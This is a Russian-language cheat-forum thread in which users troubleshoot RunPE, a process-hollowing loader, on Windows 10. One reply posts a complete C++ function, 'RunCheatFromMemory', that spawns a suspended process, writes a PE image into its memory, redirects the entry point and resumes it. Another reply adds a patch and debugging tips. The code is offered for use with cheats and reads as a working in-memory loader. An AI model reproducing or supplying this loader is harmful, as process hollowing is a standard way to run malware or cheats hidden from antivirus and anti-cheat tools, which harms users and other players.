C++ Вопрос RunPE

Ты че баклан, дефективный?
Пользователь
Статус
Оффлайн
Регистрация
18 Мар 2019
Сообщения
756
Реакции[?]
64
Поинты[?]
2K
Сорц runpe с гитхаба, подставил только тестовый exe.Оба собраны debug(x86).Но не запускается на win10
 

Вложения

Новичок
Статус
Оффлайн
Регистрация
28 Дек 2022
Сообщения
1
Реакции[?]
1
Поинты[?]
0
Сорц runpe с гитхаба, подставил только тестовый exe.Оба собраны debug(x86).Но не запускается на win10
C++:
int RunCheatFromMemory(void* pe) {


    IMAGE_DOS_HEADER* DOSHeader;
    IMAGE_NT_HEADERS64* NtHeader;
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;
    ZeroMemory(&PI, sizeof(PI));
    ZeroMemory(&SI, sizeof(SI));


    void* pImageBase;

    char currentFilePath[1024];

    DOSHeader = PIMAGE_DOS_HEADER(pe);
    NtHeader = PIMAGE_NT_HEADERS64(DWORD64(pe) + DOSHeader->e_lfanew);

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {

        GetModuleFileNameA(NULL, currentFilePath, MAX_PATH);
        //create process
        if (CreateProcessA(currentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {

            CONTEXT* CTX;
            CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
            CTX->ContextFlags = CONTEXT_FULL;


            UINT64 imageBase = 0;
            if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
                pImageBase = VirtualAllocEx(
                    PI.hProcess,
                    LPVOID(NtHeader->OptionalHeader.ImageBase),
                    NtHeader->OptionalHeader.SizeOfImage,
                    MEM_COMMIT | MEM_RESERVE,
                    PAGE_EXECUTE_READWRITE
                );


                WriteProcessMemory(PI.hProcess, pImageBase, pe, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
                //write pe sections
                for (size_t i = 0; i < NtHeader->FileHeader.NumberOfSections; i++)
                {
                    SectionHeader = PIMAGE_SECTION_HEADER(DWORD64(pe) + DOSHeader->e_lfanew + 264 + (i * 40));

                    WriteProcessMemory(
                        PI.hProcess,
                        LPVOID(DWORD64(pImageBase) + SectionHeader->VirtualAddress),
                        LPVOID(DWORD64(pe) + SectionHeader->PointerToRawData),
                        SectionHeader->SizeOfRawData,
                        NULL
                    );
                    WriteProcessMemory(
                        PI.hProcess,
                        LPVOID(CTX->Rdx + 0x10),
                        LPVOID(&NtHeader->OptionalHeader.ImageBase),
                        8,
                        NULL
                    );

                }

                CTX->Rcx = DWORD64(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                SetThreadContext(PI.hThread, LPCONTEXT(CTX));
                ResumeThread(PI.hThread);

                WaitForSingleObject(PI.hProcess, NULL);

                return 0;

            }
        }
    }
}
Работает везде:imp:
 
Последнее редактирование:
Obstruct Omicronium
Пользователь
Статус
Оффлайн
Регистрация
28 Авг 2022
Сообщения
67
Реакции[?]
78
Поинты[?]
66K
У меня все стартануло (Win10, Build 19044). Однако, рекомендую сделать проверку на ImageBase (ну или хендлить это кое как), не равен ли он null, у меня его не с первого раза нашло.
imgbase:
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
                    NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if(pImageBase == nullptr) {
    DWORD dwErr = GetLastError();
    std::cout << "[!] ImageBase is null! Error code: 0x%x" << dwErr << std::endl;
    return dwErr;
}
Еще интересен сакральный смысл вот этих моментов с GetModuleHandleA, мдемс (ну про переполнение возможное я помолчу).
C++:
GetModuleFileNameA(NULL, CurrentFilePath, MAX_PATH);
DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
if(DOSHeader->e_magic != IMAGE_DOS_SIGNATURE)
    return -1;

NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

1675460946410.png
 
Ты че баклан, дефективный?
Пользователь
Статус
Оффлайн
Регистрация
18 Мар 2019
Сообщения
756
Реакции[?]
64
Поинты[?]
2K
У меня все стартануло (Win10, Build 19044). Однако, рекомендую сделать проверку на ImageBase (ну или хендлить это кое как), не равен ли он null, у меня его не с первого раза нашло.
imgbase:
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
                    NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if(pImageBase == nullptr) {
    DWORD dwErr = GetLastError();
    std::cout << "[!] ImageBase is null! Error code: 0x%x" << dwErr << std::endl;
    return dwErr;
}
Еще интересен сакральный смысл вот этих моментов с GetModuleHandleA, мдемс (ну про переполнение возможное я помолчу).
C++:
GetModuleFileNameA(NULL, CurrentFilePath, MAX_PATH);
DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
if(DOSHeader->e_magic != IMAGE_DOS_SIGNATURE)
    return -1;

NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

Посмотреть вложение 237371
Win10 22h2 и при запуске тишина
 
Obstruct Omicronium
Пользователь
Статус
Оффлайн
Регистрация
28 Авг 2022
Сообщения
67
Реакции[?]
78
Поинты[?]
66K
Win10 22h2 и при запуске тишина
Хрен знает, у меня, опять же, все успешно отработало и на 22h2. Единственное, что я ловил - нулевой ImageBase (видимо, иногда не удается получить нормально нт хидеры).
А у себя пробовал дебажить? Попробуй вм поднять, закинуть туда
Пожалуйста, авторизуйтесь для просмотра ссылки.
и посмотреть, где у тебя ошибку выкидывает.

1675550190542.png
 
Сверху Снизу